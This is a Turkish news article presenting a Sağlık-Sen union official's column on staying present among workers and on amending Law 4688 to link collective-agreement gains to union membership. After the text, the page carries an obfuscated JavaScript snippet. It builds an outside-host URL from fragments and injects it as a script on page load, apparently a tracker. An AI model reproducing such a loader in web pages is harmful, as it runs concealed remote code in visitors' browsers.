Sendika

Sağlık Sen G. Başkan Yard. IRGATOĞLU: 'Sendikal Mücadele Süreklilik İster, Emek İster..'

Sağlık-Sen Genel Başkan Yardımcısı Mustafa Irgatoğlu, sendikal mücadelenin yalnızca söylemlerle değil, sahadaki emek ve süreklilikle yürütülebileceğine dikkat çekti.

Abone Ol

Irgatoğlu, mücadelenin kalıcı sonuç üretmesi için sabır, emek ve sahayla güçlü bağ kurulmasının önemine işaret etti.

“Sendikal mücadele süreklilik ister”

Irgatoğlu, değerlendirmesinde sendikal mücadelenin anlık çıkışlarla değil, uzun soluklu bir kararlılıkla sürdürülebileceğini ifade etti. Mücadelenin emek, sabır ve istikrarlı bir duruş gerektirdiğini belirten Irgatoğlu, bu sürecin ancak sahada varlık gösterilerek güç kazanacağını vurguladı.

“Masa başında değil, sahada kurulan bağlarla yürür”

Açıklamada en dikkat çeken vurgu ise sendikal mücadelenin sahayla kurduğu ilişki oldu. Irgatoğlu, masa başında kurulan cümlelerin tek başına yeterli olmadığını, asıl gücün sahada çalışanlarla kurulan bağdan geldiğini ifade etti.

Bu yaklaşımın, sendikal temsilin yalnızca söylem düzeyinde kalmaması gerektiğini, çalışanların bulunduğu her alanda aktif varlık göstermenin önem taşıdığını ortaya koydu.

Pazartesi Konuşmaları’nın üçüncü yazısı yayımlandı

Mustafa Irgatoğlu’nun değerlendirmeleri, “Pazartesi Konuşmaları” başlığıyla yayımlanan üçüncü yazıda yer aldı. Yazının, sendikal mücadelenin temel dinamiklerine ve sahadaki karşılığına ilişkin önemli mesajlar içerdiği belirtildi.

Sahada Olmak – Yetkiyi Belirleyen Gerçek Güç

“Bizim pencereler yele garşıdır
Muhabbet dediğin karşı karşıdır
Girebilsen bu sinemde neler var
Gülüp oynadığım ele karşıdır”

Sözleri Karacaoğlan’a ait olan bu güzel türküyü dinlemeyenimiz yoktur. Bütün türküler gibi bu türkü de hayatın kendisini barındırıyor. Şöyle gözlerimizi kapatıp gönülden kulak verdiğimizde iki gerçeği hemen fark edebiliriz: Birincisi muhabbet, muhatap olduğunda var olan bir hâl, bir halleşmedir. Bu muhabbetin varlık şartıdır. İkincisi ise muhabbet; samimiyetle, yüz yüze ve doğrudan olunca daha güzeldir.

Sohbet ve sahip çıkmanın aynı kökten geldiğini düşünürsek; muhabbetin, yalnızca bir muhatabın varlığıyla sınırlı olmadığını, bununla birlikte; karşı karşıya gelmek, temas kurmak, hâl hatır sormak ve bir bağ inşa etmek olduğunu anlayabiliriz. Dolayısıyla muhabbet; meydana çıkmak, sahada olmak ve sohbet etmektir. Birbirine sahip çıkmayı görünür kılmaktır. Sahada olunmadığında muhabbet eksik, iddia zayıf, etki sınırlıdır.

Bu hafta konuşacağımız mesele; muhabbet bağını kurmak için halleşmek, sahada olmak, sahada kalmak ve sahada güç üretmek olacak.

Sendikal mücadele süreklilik ister, emek ister, sabır ister ve en çok da sahada olmayı ister. Çünkü mücadele, masa başında kurulan cümlelerle değil; sahada kurulan bağlarla yürür. Biliyoruz ki; sahada olmayanın sesi de, sözü de, iddiası da karşılık bulmaz.

Sahada olan bilir ki: Her gün yeniden anlatmak gerekir. Her gün yeniden dinlemek gerekir. Her gün yeniden güven üretmek gerekir. Her kazanılan gönül, bir imzadan ibaret değil; aynı zamanda bir güven beyanıdır. Ve o güven ya büyütülür ya da kaybedilir. Bu yüzden sahada çalışmak; günü kurtarmak değil, yarını inşa etmektir.

Bugün sendikal alanda en çok karşılaştığımız sorunlardan biri şudur: Sahada karşılığı olmayan söylemlerin, gerçekmiş gibi sunulması. Oysa gerçek çok nettir: Sahada yoksan, aslında yoksun. Sahada olmak; sadece görünmek değil, dokunmak, dinlemek ve karşılık üretmektir. Sahada olmayan bir süre sonra kendi sesine mahkûm olur; gerçeklikten kopar. En tehlikelisi de budur.

Bazı yapılar sahada olmadan güçlü görünmeye çalışmakta, sahaya inmeden temsil iddiasında bulunmakta, halleşmeyi bilmeden, muhabbet bağını kurmadan yetki konuşmaktadır. Ancak unutulmamalıdır ki: Yetki, verilen bir unvan değil; sahada kazanılan bir sonuçtur.
Yetkili sendika olmak yalnızca bir sıfat değil, aynı zamanda ağır bir sorumluluktur. Çünkü yetki, masada konuşma hakkı verdiği kadar sahada hesap verme zorunluluğu da getirir.

Bu nedenle asıl mesele yetkiyi almak değil, o yetkiyi taşıyabilmektir. Sahada gönülden gönüle kurulan muhabbet bağından gelen sorumluluğun gereğini yapmaktır.

Ne var ki bu bağın sürdürülebilirliği yalnızca sahada olmakla sınırlı değildir. Bugün sendikal alanda yaşanan istikrarsız üyelik davranışlarının arka planında, toplu sözleşme kazanımlarının niteliği de belirleyici bir etken olarak karşımıza çıkmaktadır. Zira mevcut sistemde elde edilen kazanımlar, örgütlü emeğin farklılığını dikkate almaksızın, herhangi bir sendikaya üye olma şartı dahi aranmaksızın tüm kamu görevlilerine teşmil edilmektedir.

Bu durum, sendikal aidiyet bilincini doğrudan zayıflatan, örgütlü emeğin karşılığını belirsizleştiren ve “sonuçtan herkes faydalanır” anlayışını kurumsallaştıran yapısal bir soruna işaret etmektedir. Oysa sendikal hakların özünde, örgütlü irade ile elde edilen kazanım arasında doğrudan ve korunması gereken bir bağın bulunması esastır. Bu bağın zayıflaması, sendikal yapının meşruiyet zeminini ve sürdürülebilirliğini tartışmalı hâle getirmektedir.

Bu itibarla; yetki sisteminin anlam ve fonksiyonunun korunabilmesi, sendikal aidiyetin güçlendirilmesi ve örgütlü emeğin karşılığının somut şekilde tesis edilebilmesi amacıyla, 4688 sayılı Kamu Görevlileri Sendikaları ve Toplu Sözleşme Kanunu’nda gerekli değişikliklerin yapılması kaçınılmaz hale gelmiştir. Yapılacak düzenlemelerin; toplu sözleşme kazanımlarının kapsamı, uygulanma usulü ve yararlanma şartları bakımından sendikal üyelik ile illiyet bağını gözeten, ölçülülük ilkesine uygun ve hakkaniyeti esas alan bir çerçevede ele alınması gerekmektedir.

Kamu Personeli Danışma Kurulu toplantılarında da gündeme gelen bu konu;
geçiştirilemeyecek kadar önemli,
ertelenemeyecek kadar da acildir.

Bu haftanın konuşması bize şunu hatırlatıyor:

Gönüller sahada bağ kurar.
Kurulan bağ, sorumluluğu doğurur.
Sorumluluk kurulan bağın hukukuna sahip çıkmaktır.

Bu sebeple sahada olmayanın sözü zayıftır.
Çünkü sahada kurulmamış bir bağ; ne yasayı düzeltebilir ne de masada karşılık bulabilir.
Ama bağ kuran, gönüllere dokunan, güven üreten bir teşkilat;
sadece birliktelik inşa etmez, aynı zamanda istikamet belirler.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }